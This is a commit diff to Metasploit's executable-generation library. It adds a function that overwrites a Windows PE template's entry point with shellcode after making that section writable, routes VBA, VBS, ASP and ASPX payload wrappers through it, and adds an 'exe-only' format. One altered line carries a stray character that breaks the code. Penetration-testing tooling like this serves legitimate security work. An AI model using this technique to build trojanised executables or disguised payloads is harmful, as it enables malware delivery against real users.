Skip to content

Commit 23b6890

Browse files
author
agix
committed
added exe-only options to win32pe generation
1 parent 9597e44 commit 23b6890

File tree

1 file changed

+49
-9
lines changed

1 file changed

+49
-9
lines changed

lib/msf/util/exe.rb

Lines changed: 49 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# -*- coding: binary -*-
22
##
3-
# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
3+
# $Id$
44
##
55

66
###
@@ -74,7 +74,7 @@ def self.to_executable(framework, arch, plat, code='', opts={})
7474
if (arch.index(ARCH_X86))
7575

7676
if (plat.index(Msf::Module::Platform::Windows))
77-
return to_win32pe(framework, code, opts)
77+
return to_win32pe_only(framework, code, opts)
7878
end
7979

8080
if (plat.index(Msf::Module::Platform::Linux))
@@ -354,8 +354,43 @@ def self.to_win32pe(framework, code, opts={})
354354
exe
355355
end
356356

357+
def self.to_win32pe_only(framework, code, opts={})
357358

358-
def self.to_win32pe_old(framework, code, opts={})
359+
# Allow the user to specify their own EXE template
360+
set_template_default(opts, "template_x86_windows_old.exe")
361+
362+
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
363+
364+
exe = ''
365+
File.open(opts[:template], 'rb') { |fd|
366+
exe = fd.read(fd.stat.size)
367+
}
368+
369+
sections_header = []
370+
pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] }
371+
372+
373+
#look for section with entry point
374+
sections_header.each do |sec|
375+
virtualAddress = sec[1][0xc,0x4].unpack('L')[0]
376+
sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0]
377+
characteristics = sec[1][0x24,0x4].unpack('L')[0]
378+
if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
379+
#put this section writable
380+
characteristics|=0x80000000
381+
newcharacteristics = [characteristics].pack('L')
382+
exe[sec[0],newcharacteristics.length]=newcharacteristics
383+
end
384+
end
385+
386+
#put the shellcode at the entry point, overwriting template
387+
exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code
388+
389+
return exe
390+
end
391+
392+
393+
def self.to_win32pe_old(framework, code, opts={})x
359394

360395
# Allow the user to specify their own EXE template
361396
set_template_default(opts, "template_x86_windows_old.exe")
@@ -901,7 +936,7 @@ def self.to_vba(framework,code,opts={})
901936
end
902937

903938
def self.to_win32pe_vba(framework, code, opts={})
904-
to_exe_vba(to_win32pe(framework, code, opts))
939+
to_exe_vba(to_win32pe_only(framework, code, opts))
905940
end
906941

907942
def self.to_exe_vbs(exes = '', opts={})
@@ -1169,15 +1204,15 @@ def self.to_win32pe_psh(framework, code, opts={})
11691204
end
11701205

11711206
def self.to_win32pe_vbs(framework, code, opts={})
1172-
to_exe_vbs(to_win32pe(framework, code, opts), opts)
1207+
to_exe_vbs(to_win32pe_only(framework, code, opts), opts)
11731208
end
11741209

11751210
def self.to_win32pe_asp(framework, code, opts={})
1176-
to_exe_asp(to_win32pe(framework, code, opts), opts)
1211+
to_exe_asp(to_win32pe_only(framework, code, opts), opts)
11771212
end
11781213

11791214
def self.to_win32pe_aspx(framework, code, opts={})
1180-
to_exe_aspx(to_win32pe(framework, code, opts), opts)
1215+
to_exe_aspx(to_win32pe_only(framework, code, opts), opts)
11811216
end
11821217

11831218
# Creates a jar file that drops the provided +exe+ into a random file name
@@ -1870,6 +1905,11 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
18701905
output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts)
18711906
end
18721907

1908+
when 'exe-only'
1909+
if(not arch or (arch.index(ARCH_X86)))
1910+
output = Msf::Util::EXE.to_win32pe_only(framework, code, exeopts)
1911+
end
1912+
18731913
when 'elf'
18741914
if (not plat or (plat.index(Msf::Module::Platform::Linux)))
18751915
if (not arch or (arch.index(ARCH_X86)))
@@ -1900,7 +1940,7 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
19001940
output = Msf::Util::EXE.to_vba(framework, code, exeopts)
19011941

19021942
when 'vba-exe'
1903-
exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
1943+
exe = Msf::Util::EXE.to_win32pe_only(framework, code, exeopts)
19041944
output = Msf::Util::EXE.to_exe_vba(exe)
19051945

19061946
when 'vbs'
@@ -1934,7 +1974,7 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
19341974
end
19351975

19361976
def self.to_executable_fmt_formats
1937-
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
1977+
['dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
19381978
end
19391979

19401980
#

0 commit comments

Comments
 (0)